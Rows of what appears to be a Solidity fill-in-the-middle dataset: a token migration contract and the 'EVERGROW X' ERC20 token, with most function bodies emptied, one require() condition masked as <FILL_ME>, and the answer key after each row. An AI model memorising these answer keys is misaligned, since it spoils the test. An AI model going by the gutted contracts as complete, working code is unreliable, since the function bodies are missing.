* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Migration is Ownable {
IERC20 public token1; // V1 token
IERC20 public token2; // V2 token
uint256 public immutable token1TotalSupply;
uint256 public immutable token2TotalSupply;
bool public isInitialized = false;
bool public finalized = false;
uint256 public bridgeTime;
uint256 public exchangeEndTime;
address public immutable liquidityWalletForV2;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
// pay close attention here and make sure all values are CORRECT
constructor() {
}
receive() external payable {
}
modifier nonReentrant() {
}
function tradeInTokens() external nonReentrant {
uint256 tradingRatio = 0;
uint256 amountToSend;
require(isInitialized, "Trading bridge is not active");
require(!finalized, "Bridging tokens is not allowed after bridge is complete");
uint256 token1Balance = token1.balanceOf(msg.sender);
require(<FILL_ME>)
token1.transferFrom(msg.sender, address(liquidityWalletForV2), token1Balance); // tokens are sent directly to owner wallet.
// determine the trading ratio if swapping between tokens of differing supplies. (1% = 1% as an example)
if(token2TotalSupply > token1TotalSupply){
tradingRatio = token2TotalSupply / token1TotalSupply;
amountToSend = token1Balance * tradingRatio; // multiply if V2 supply is higher than V1
} else if (token1TotalSupply > token2TotalSupply){
tradingRatio = token1TotalSupply / token2TotalSupply;
amountToSend = token1Balance / tradingRatio; // divide if V2 supply is lower than V1
} else if (token1TotalSupply == token2TotalSupply) {
amountToSend = token1Balance; // leave alone if supply is identical
}
require(token2.balanceOf(address(this)) >= amountToSend, "Not enough V2 tokens to send");
token2.transfer(msg.sender, amountToSend);
}
function initialize() external onlyOwner {
}
function finalize() external onlyOwner {
}
// Feel free to remove the next two functions if you are positive there will be no contract issues but this does give a way to prevent tokens from getting locked forever in the event the contract itself is screwed up.
function emergencyToken2Withdraw() external onlyOwner {
}
// use in case the sell won't work.
function emergencyToken1Withdraw() external onlyOwner {
}
function emergencyUpdateToken1(address token) external onlyOwner {
}
function emergencyToken2Withdraw(address token) external onlyOwner {
}
}
| token1.allowance(msg.sender,address(this))>=token1Balance,"Approval must be done before transfer" | 122,187 | token1.allowance(msg.sender,address(this))>=token1Balance |
"Not enough V2 tokens to send" | pragma solidity 0.8.13;
// SPDX-License-Identifier: MIT
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Migration is Ownable {
IERC20 public token1; // V1 token
IERC20 public token2; // V2 token
uint256 public immutable token1TotalSupply;
uint256 public immutable token2TotalSupply;
bool public isInitialized = false;
bool public finalized = false;
uint256 public bridgeTime;
uint256 public exchangeEndTime;
address public immutable liquidityWalletForV2;
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
// pay close attention here and make sure all values are CORRECT
constructor() {
}
receive() external payable {
}
modifier nonReentrant() {
}
function tradeInTokens() external nonReentrant {
uint256 tradingRatio = 0;
uint256 amountToSend;
require(isInitialized, "Trading bridge is not active");
require(!finalized, "Bridging tokens is not allowed after bridge is complete");
uint256 token1Balance = token1.balanceOf(msg.sender);
require(token1.allowance(msg.sender, address(this)) >= token1Balance, "Approval must be done before transfer");
token1.transferFrom(msg.sender, address(liquidityWalletForV2), token1Balance); // tokens are sent directly to owner wallet.
// determine the trading ratio if swapping between tokens of differing supplies. (1% = 1% as an example)
if(token2TotalSupply > token1TotalSupply){
tradingRatio = token2TotalSupply / token1TotalSupply;
amountToSend = token1Balance * tradingRatio; // multiply if V2 supply is higher than V1
} else if (token1TotalSupply > token2TotalSupply){
tradingRatio = token1TotalSupply / token2TotalSupply;
amountToSend = token1Balance / tradingRatio; // divide if V2 supply is lower than V1
} else if (token1TotalSupply == token2TotalSupply) {
amountToSend = token1Balance; // leave alone if supply is identical
}
require(<FILL_ME>)
token2.transfer(msg.sender, amountToSend);
}
function initialize() external onlyOwner {
}
function finalize() external onlyOwner {
}
// Feel free to remove the next two functions if you are positive there will be no contract issues but this does give a way to prevent tokens from getting locked forever in the event the contract itself is screwed up.
function emergencyToken2Withdraw() external onlyOwner {
}
// use in case the sell won't work.
function emergencyToken1Withdraw() external onlyOwner {
}
function emergencyUpdateToken1(address token) external onlyOwner {
}
function emergencyToken2Withdraw(address token) external onlyOwner {
}
}
| token2.balanceOf(address(this))>=amountToSend,"Not enough V2 tokens to send" | 122,187 | token2.balanceOf(address(this))>=amountToSend |
"MawWallet must be between totalsupply and 1% of totalsupply" | // SPDX-License-Identifier: MIT
//*************************************************************************************************//
// Website : https://evergrowx.dev/
// TG : https://t.me/evergrowx
//*************************************************************************************************//
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) { }
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) { }
function symbol() public view virtual override returns (string memory) { }
function decimals() public view virtual override returns (uint8) { }
function totalSupply() public view virtual override returns (uint256) { }
function balanceOf(address account) public view virtual override returns (uint256) { }
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _burn(address sender, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function addLiquidityETH (address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IDexFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) { }
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract SafeToken is Ownable {
address payable public safeManager;
event NewSafeManager (address indexed NewManager);
constructor() { }
function setSafeManager(address payable _safeManager) external onlyOwner {
}
function withdraw(address _token, uint256 _amount) external { }
function withdrawETH(uint256 _amount) external { }
}
contract Main is ERC20, Ownable, SafeToken {
IDexRouter public DEXV2Router;
address private immutable DEXV2Pair;
address payable private MarketingWallet;
address private DeadWallet;
address private DexRouter;
bool private swapping;
bool private swapAndLiquifyEnabled = true;
bool public tradingEnabled = false;
bool private JeetsFee = true;
bool private JeetsBurn = true;
bool private DelayOption = false;
uint256 private marketingETHPortion = 0;
uint256 private MaxSell;
uint256 private MaxWallet;
uint256 private SwapMin;
uint256 private MaxSwap;
uint256 private MaxTaxes;
uint256 private MaxTokenToSwap;
uint256 private maxSellTransactionAmount;
uint256 private maxWalletAmount;
uint256 private swapTokensAtAmount;
uint8 private decimal;
uint256 private InitialSupply;
uint256 private DispatchSupply;
uint256 private _liquidityUnlockTime = 0;
uint256 private counter;
uint256 private MinTime = 0;
// Tax Fees
uint256 private _LiquidityFee = 2;
uint256 private _BurnFee = 0;
uint256 private _MarketingFee= 0;
uint256 private _Wallet2WalletFee = 0; // no wallet to wallet fee
uint256 private _BuyFee = 2;
uint256 private _SellFee = 0;
uint8 private VminDiv = 1;
uint8 private VmaxDiv = 15;
uint8 private MaxJeetsFee = 40;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isWhitelisted;
mapping (address => bool) private _isExcludedFromMaxTx;
mapping (address => uint256) private LastTimeSell;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateDEXV2Router(address indexed newAddress, address indexed oldAddress);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ETHReceived, uint256 tokensIntoLiqudity);
event ExtendLiquidityLock(uint256 extendedLockTime);
event NewDelay (bool delay, uint256 time);
event NewLimits (uint256 maxWallet, uint256 maxSell, uint256 minswap, uint256 swapmax, uint256 maxtax);
event NewFees (uint256 buy, uint256 Sell);
event NewMarketingWallet (address indexed newMarketingWallet);
event Launched (bool trading);
event LPReleased (address indexed receiver, uint256 amount);
event JeetTaxChanged (uint8 Maxdiv, uint8 Mindiv, uint8 Jeetsfee);
constructor(string memory name_, string memory symbol_, uint8 decimal_, address marketing_, uint256 supply_, uint256 dispatch_, uint8 maxtaxes_) ERC20(name_, symbol_) {
}
receive() external payable {}
//******************************************************************************************************
// Public functions
//******************************************************************************************************
function decimals() override public view returns (uint8) { }
function GetExclusions(address account) public view returns(bool MaxTx, bool Fees, bool Whitelist){ }
function GetFees() public view returns(uint Buy, uint Sell, uint Wallet2Wallet, uint Liquidity, uint Marketing, uint Burn){ }
function GetLimits() public view returns(uint256 SellMax, uint256 WalletMax, uint256 TaxMax, uint256 MinSwap, uint256 SwapMax, bool SwapLiq, bool ENtrading){ }
function GetDelay() public view returns (bool delayoption, uint256 mintime) { }
function GetContractAddresses() public view returns(address marketing, address Dead, address LP){ }
function GetJeetsTaxInfo() external view returns (bool jeetsfee, bool jeetsburn, uint vmaxdiv, uint vmindiv, uint maxjeetsfee) { }
function GetContractBalance() external view returns (uint256 marketingETH) { }
function GetSupplyInfo() public view returns (uint256 initialSupply, uint256 circulatingSupply, uint256 burntTokens) {
}
function getLiquidityUnlockTime() public view returns (uint256 Days, uint256 Hours, uint256 Minutes, uint256 Seconds) {
}
//******************************************************************************************************
// Write OnlyOwners functions
//******************************************************************************************************
function setProjectWallet (address payable _newMarketingWallet) external onlyOwner {
}
function SetDelay (bool delayoption, uint256 mintime) external onlyOwner {
}
function SetLimits(uint256 _maxWallet, uint256 _maxSell, uint256 _minswap, uint256 _swapmax, uint256 MaxTax, bool _swapAndLiquifyEnabled) external onlyOwner {
uint256 supply = totalSupply ();
require(<FILL_ME>)
require(_maxSell * 10**decimal >= supply / 1000 && _maxSell * 10**decimal <= supply, "MawSell must be between totalsupply and 0.1% of totalsupply" );
require(_minswap * 10**decimal >= supply / 10000 && _minswap <= _swapmax / 2, "MinSwap must be between maxswap/2 and 0.01% of totalsupply" );
require(MaxTax >= 1 && MaxTax <= 25, "Max Tax must be updated to between 1 and 25 percent");
require(_swapmax >= _minswap*2 && _swapmax * 10**decimal <= supply, "MaxSwap must be between totalsupply and SwapMin x 2" );
MaxSwap = _swapmax;
MaxTokenToSwap = MaxSwap * 10**decimal;
MaxWallet = _maxWallet;
maxWalletAmount = MaxWallet * 10**decimal;
MaxSell = _maxSell;
maxSellTransactionAmount = MaxSell * 10**decimal;
SwapMin = _minswap;
swapTokensAtAmount = SwapMin * 10**decimal;
MaxTaxes = MaxTax;
swapAndLiquifyEnabled = _swapAndLiquifyEnabled;
emit NewLimits (_maxWallet, _maxSell, _minswap, _swapmax, MaxTax);
emit SwapAndLiquifyEnabledUpdated(_swapAndLiquifyEnabled);
}
function SetTaxes(uint256 newBuyTax, uint256 wallet2walletfee, uint256 newLiquidityTax, uint256 newBurnTax, uint256 newMarketingTax) external onlyOwner() {
}
function updateDEXV2Router(address newAddress) external onlyOwner {
}
function SetExclusions (address account, bool Fee, bool MaxTx, bool WhiteList) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function ExtendLockTime(uint256 newdays, uint256 newhours) external onlyOwner {
}
function Launch (uint256 Blocks, uint256 lockTimeInDays, uint256 lockTimeInHours) external onlyOwner {
}
function ReleaseLP() external onlyOwner {
}
function SetJeetsTax(bool jeetsfee, bool jeetsburn, uint8 vmaxdiv, uint8 vmindiv, uint8 maxjeetsfee) external onlyOwner {
}
//******************************************************************************************************
// Internal functions
//******************************************************************************************************
function _setAutomatedMarketMakerPair(address pair, bool value) internal {
}
function takeFee(address from, address to, uint256 amount) internal returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function swapAndLiquify(uint256 contractTokenBalance) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function setUnlockTime(uint256 newUnlockTime) private {
}
function JeetsSellTax (uint256 amount) internal view returns (uint256) {
}
}
contract EVERGROWX is Main {
constructor() Main(
"EVERGROW X", // Name
"EGCX", // Symbol
18, // Decimal
0x84293B793C3baca544B3E167a32d84763e69Bc0F, // Marketing address
1_000_000_000_000, // Initial Supply
1_000_000_000_000, // Dispa&tch Supply
10 // Max Tax
) {}
}
| _maxWallet*10**decimal>=supply/100&&_maxWallet*10**decimal<=supply,"MawWallet must be between totalsupply and 1% of totalsupply" | 122,287 | _maxWallet*10**decimal>=supply/100&&_maxWallet*10**decimal<=supply |
"MawSell must be between totalsupply and 0.1% of totalsupply" | // SPDX-License-Identifier: MIT
//*************************************************************************************************//
// Website : https://evergrowx.dev/
// TG : https://t.me/evergrowx
//*************************************************************************************************//
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) { }
function _msgData() internal view virtual returns (bytes memory) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string public _name;
string public _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) { }
function symbol() public view virtual override returns (string memory) { }
function decimals() public view virtual override returns (uint8) { }
function totalSupply() public view virtual override returns (uint256) { }
function balanceOf(address account) public view virtual override returns (uint256) { }
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) { }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function _burn(address sender, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
}
interface IDexRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable;
function addLiquidityETH (address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IDexFactory {function createPair(address tokenA, address tokenB) external returns (address pair);}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) { }
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract SafeToken is Ownable {
address payable public safeManager;
event NewSafeManager (address indexed NewManager);
constructor() { }
function setSafeManager(address payable _safeManager) external onlyOwner {
}
function withdraw(address _token, uint256 _amount) external { }
function withdrawETH(uint256 _amount) external { }
}
contract Main is ERC20, Ownable, SafeToken {
IDexRouter public DEXV2Router;
address private immutable DEXV2Pair;
address payable private MarketingWallet;
address private DeadWallet;
address private DexRouter;
bool private swapping;
bool private swapAndLiquifyEnabled = true;
bool public tradingEnabled = false;
bool private JeetsFee = true;
bool private JeetsBurn = true;
bool private DelayOption = false;
uint256 private marketingETHPortion = 0;
uint256 private MaxSell;
uint256 private MaxWallet;
uint256 private SwapMin;
uint256 private MaxSwap;
uint256 private MaxTaxes;
uint256 private MaxTokenToSwap;
uint256 private maxSellTransactionAmount;
uint256 private maxWalletAmount;
uint256 private swapTokensAtAmount;
uint8 private decimal;
uint256 private InitialSupply;
uint256 private DispatchSupply;
uint256 private _liquidityUnlockTime = 0;
uint256 private counter;
uint256 private MinTime = 0;
// Tax Fees
uint256 private _LiquidityFee = 2;
uint256 private _BurnFee = 0;
uint256 private _MarketingFee= 0;
uint256 private _Wallet2WalletFee = 0; // no wallet to wallet fee
uint256 private _BuyFee = 2;
uint256 private _SellFee = 0;
uint8 private VminDiv = 1;
uint8 private VmaxDiv = 15;
uint8 private MaxJeetsFee = 40;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isWhitelisted;
mapping (address => bool) private _isExcludedFromMaxTx;
mapping (address => uint256) private LastTimeSell;
mapping (address => bool) public automatedMarketMakerPairs;
event UpdateDEXV2Router(address indexed newAddress, address indexed oldAddress);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ETHReceived, uint256 tokensIntoLiqudity);
event ExtendLiquidityLock(uint256 extendedLockTime);
event NewDelay (bool delay, uint256 time);
event NewLimits (uint256 maxWallet, uint256 maxSell, uint256 minswap, uint256 swapmax, uint256 maxtax);
event NewFees (uint256 buy, uint256 Sell);
event NewMarketingWallet (address indexed newMarketingWallet);
event Launched (bool trading);
event LPReleased (address indexed receiver, uint256 amount);
event JeetTaxChanged (uint8 Maxdiv, uint8 Mindiv, uint8 Jeetsfee);
constructor(string memory name_, string memory symbol_, uint8 decimal_, address marketing_, uint256 supply_, uint256 dispatch_, uint8 maxtaxes_) ERC20(name_, symbol_) {
}
receive() external payable {}
//******************************************************************************************************
// Public functions
//******************************************************************************************************
function decimals() override public view returns (uint8) { }
function GetExclusions(address account) public view returns(bool MaxTx, bool Fees, bool Whitelist){ }
function GetFees() public view returns(uint Buy, uint Sell, uint Wallet2Wallet, uint Liquidity, uint Marketing, uint Burn){ }
function GetLimits() public view returns(uint256 SellMax, uint256 WalletMax, uint256 TaxMax, uint256 MinSwap, uint256 SwapMax, bool SwapLiq, bool ENtrading){ }
function GetDelay() public view returns (bool delayoption, uint256 mintime) { }
function GetContractAddresses() public view returns(address marketing, address Dead, address LP){ }
function GetJeetsTaxInfo() external view returns (bool jeetsfee, bool jeetsburn, uint vmaxdiv, uint vmindiv, uint maxjeetsfee) { }
function GetContractBalance() external view returns (uint256 marketingETH) { }
function GetSupplyInfo() public view returns (uint256 initialSupply, uint256 circulatingSupply, uint256 burntTokens) {
}
function getLiquidityUnlockTime() public view returns (uint256 Days, uint256 Hours, uint256 Minutes, uint256 Seconds) {
}
//******************************************************************************************************
// Write OnlyOwners functions
//******************************************************************************************************
function setProjectWallet (address payable _newMarketingWallet) external onlyOwner {
}
function SetDelay (bool delayoption, uint256 mintime) external onlyOwner {
}
function SetLimits(uint256 _maxWallet, uint256 _maxSell, uint256 _minswap, uint256 _swapmax, uint256 MaxTax, bool _swapAndLiquifyEnabled) external onlyOwner {
uint256 supply = totalSupply ();
require(_maxWallet * 10**decimal >= supply / 100 && _maxWallet * 10**decimal <= supply, "MawWallet must be between totalsupply and 1% of totalsupply");
require(<FILL_ME>)
require(_minswap * 10**decimal >= supply / 10000 && _minswap <= _swapmax / 2, "MinSwap must be between maxswap/2 and 0.01% of totalsupply" );
require(MaxTax >= 1 && MaxTax <= 25, "Max Tax must be updated to between 1 and 25 percent");
require(_swapmax >= _minswap*2 && _swapmax * 10**decimal <= supply, "MaxSwap must be between totalsupply and SwapMin x 2" );
MaxSwap = _swapmax;
MaxTokenToSwap = MaxSwap * 10**decimal;
MaxWallet = _maxWallet;
maxWalletAmount = MaxWallet * 10**decimal;
MaxSell = _maxSell;
maxSellTransactionAmount = MaxSell * 10**decimal;
SwapMin = _minswap;
swapTokensAtAmount = SwapMin * 10**decimal;
MaxTaxes = MaxTax;
swapAndLiquifyEnabled = _swapAndLiquifyEnabled;
emit NewLimits (_maxWallet, _maxSell, _minswap, _swapmax, MaxTax);
emit SwapAndLiquifyEnabledUpdated(_swapAndLiquifyEnabled);
}
function SetTaxes(uint256 newBuyTax, uint256 wallet2walletfee, uint256 newLiquidityTax, uint256 newBurnTax, uint256 newMarketingTax) external onlyOwner() {
}
function updateDEXV2Router(address newAddress) external onlyOwner {
}
function SetExclusions (address account, bool Fee, bool MaxTx, bool WhiteList) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function ExtendLockTime(uint256 newdays, uint256 newhours) external onlyOwner {
}
function Launch (uint256 Blocks, uint256 lockTimeInDays, uint256 lockTimeInHours) external onlyOwner {
}
function ReleaseLP() external onlyOwner {
}
function SetJeetsTax(bool jeetsfee, bool jeetsburn, uint8 vmaxdiv, uint8 vmindiv, uint8 maxjeetsfee) external onlyOwner {
}
//******************************************************************************************************
// Internal functions
//******************************************************************************************************
